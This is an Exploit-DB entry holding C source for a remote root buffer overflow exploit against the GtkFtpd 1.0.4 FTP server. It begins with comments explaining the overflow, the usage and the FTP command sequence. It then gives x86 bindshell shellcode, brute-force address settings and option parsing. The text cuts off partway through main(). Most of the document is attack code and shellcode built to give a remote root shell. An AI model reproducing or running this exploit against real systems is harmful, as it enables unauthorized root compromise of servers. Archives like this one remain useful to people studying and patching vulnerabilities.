Exploit-DB #88
Description: GtkFtpd 1.0.4 - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2003-08-28
Author: vade79

Exploit:
/**********************************************************
 * [ gtkftpd[v1.0.4(and below)]: remote root buffer overflow exploit. ]
 * 
 * by: vade79/v9 v9 at fakehalo.deadpig.org (fakehalo/realhalo) 
 * 
 * Url: 
 * http://gtkftpd.sourceforge.net/ 
 * 
 * GtkFtpd, versions v1.0.4 and below(as of this time), contain a 
 * remotely exploitable buffer overflow. the overflow occurs when 
 * GtkFtpd allocates the appropriate amount of memory to hold a 
 * filename or directory(256 bytes), but does not account for the 
 * date/user/stat prefix(~40 bytes) it prepends to the buffer. 
 * 
 * When exploited, things are made easier due to the fact that 
 * GtkFtpd does not chroot() or drop its root privileges(as are 
 * required to run the program itself) while running. And one step 
 * more easier because when the buffer is overflown it is in a child 
 * process, making it possible to brute force(not crash). 
 * 
 * Requirements to exploit: 
 * - A valid account. (user/pass, anonymous will do) 
 * - A writable directory. (usually gtkftpd makes any dir writable) 
 * 
 * Usage: 
 * # cc xgtkftpd.c -o xgtkftpd 
 * # ./xgtkftpd [-Psupcbanrd] -h hostname 
 * *
 * Exploit workings(ftp commands): 
 * MKDIR <large name/causes overflow> 
 * LIST -<shellcode> (where the overflow occurs) 
 * 
 * The exploitable code itself is found in src/sys_cmd.c: 
 * 12:#define BUF_SIZE 256 
 * 21:char buf[BUF_SIZE]; 
 * 57:sprintf(buf, "%s\t%s", perm_date_siz, entr->d_name); 
 * 
 * Note: 
 * Make sure the directory used to "LIST" does not already contain 
 * any large filenames or directories, as the first overly long one 
 * to list will cause the overflow. (which will fail the exploit) 
 * *
 * (should work out of the box on generic linux, tested on rh7.1. 
 * squished, un-tab'd, un-space'd, exploit code; just how i like it.) 
 **********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <getopt.h>
#include <ctype.h>
#include <time.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* default definitions, change at will. */
#define DFLUSER "anonymous" /* no argument, default username. */
#define DFLPASS "null@null.com" /* no argument, default password. */
#define DFLDIR "/incoming" /* no argument, default +w directory. */
#define DFLCLM 80 /* default screen width to use. */
#define DFLADDR 0xbffffffa /* base brute address. */
#define TIMEOUT 10 /* connection timeout. */
static char x86_exec[]= /* bindshell(sport), modded from netric. */
 /* port defined in byte 20, and 21; in a 'short' cast form. */
 "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31"
 "\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89"
 "\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80"
 "\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
 "\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
 "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
/* protos/functions. */
char *getdir(unsigned int);
char *getbdir(void);
char *getcode(void);
void filter_text(char *);
void ftp_printf(int,char *,...);
void ftp_clean(int);
void ftp_read(int);
void ftp_parse(int);
void ftp_connect(void);
void getshell(int,unsigned int);
void printe(char *,short);
void usage(char *);
void sig_ctrlc(){printe("user aborted.",1);}
void sig_alarm(){printe("alarm/timeout hit.",1);}
void sig_pipe(){printe("connection closed/failed.",1);}
/* globals. (ease of use throughout) */
unsigned short align=2; /* probably will never need to be otherwise. */
unsigned short port=21; /* generic ftp daemon port. */
unsigned short sport=7979; /* generic bindshell port. */
unsigned short reverse=0; /* go upward, instead of downward */
unsigned short no_io=0; /* do not show traffic. */
unsigned int attempts=100; /* number of times to brute. */
unsigned int columns=80; /* generic screen width. */
unsigned int ftp_i=0; /* Nth time read ftp socket. */
unsigned int baseaddr=DFLADDR; /* base address. (again) */
char *host; /* hostname/target, a must have. */
char *user; /* username to use. */
char *pass; /* password to use. */
char *writedir; /* need a writable directory. */
char *basedir; /* gets filled in later. */
/* program start. */
int main(int argc,char **argv){
 int chr=0;
 printf("[*] gtkftpd[v1.0.4(and below)]: remote root buffer overflow"
 " exploit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
 /* set the chomp point, filter long lines. */
 if(getenv("COLUMNS"))columns=atoi(getenv("COLUMNS"));
 if(7>columns||columns>256)columns=DFLCLM;
 while((chr=getopt(argc,argv,"h:P:s:u:p:c:b:a:n:rd"))!=EOF){
  switch(chr){
   case 'h':
    if(!host&&!(host=(char *)strdup(optarg)))
     printe("main(): allocating memory failed.",1);
    break;
   case 'P':
    port=atoi(optarg);
    break;
   case 's':
    sport=atoi(optarg);
    break;
   case 'u':
    if(!user&&!(user=(char *)strdup(optarg)))
     printe("main(): allocating memory failed.",1);
    break;
   case 'p':
    if(!pass&&!(pass=(char *)strdup(optarg)))
     printe("main(): allocating memory failed.",1);
    break;
   case 'c':
    if(!writedir&&!(writedir=(char *)strdup(optarg)))
     printe("main(): allocating memory failed.",1);
    break;
   case 'b':
    sscanf(optarg,"%x",&baseaddr);
    break;
   case 'a':
    align=atoi(optarg);
    break;
   case 'n':
    attempts=atoi(optarg);
    break;
   case 'r':
    reverse=1;
    break;
   case 'd':
    no_io=1;
    break;
   default:
    usage(argv[0]);
    break; 
  }
 }
 if(!host)
  usage(argv[0]);
 /* fill in the blanks, or out of bounds. */
 if(!user)user=DFLUSER;
 if(!pass)pass=DFLPASS;
 if(!writedir)writedir=DFLDIR;
 if(!baseaddr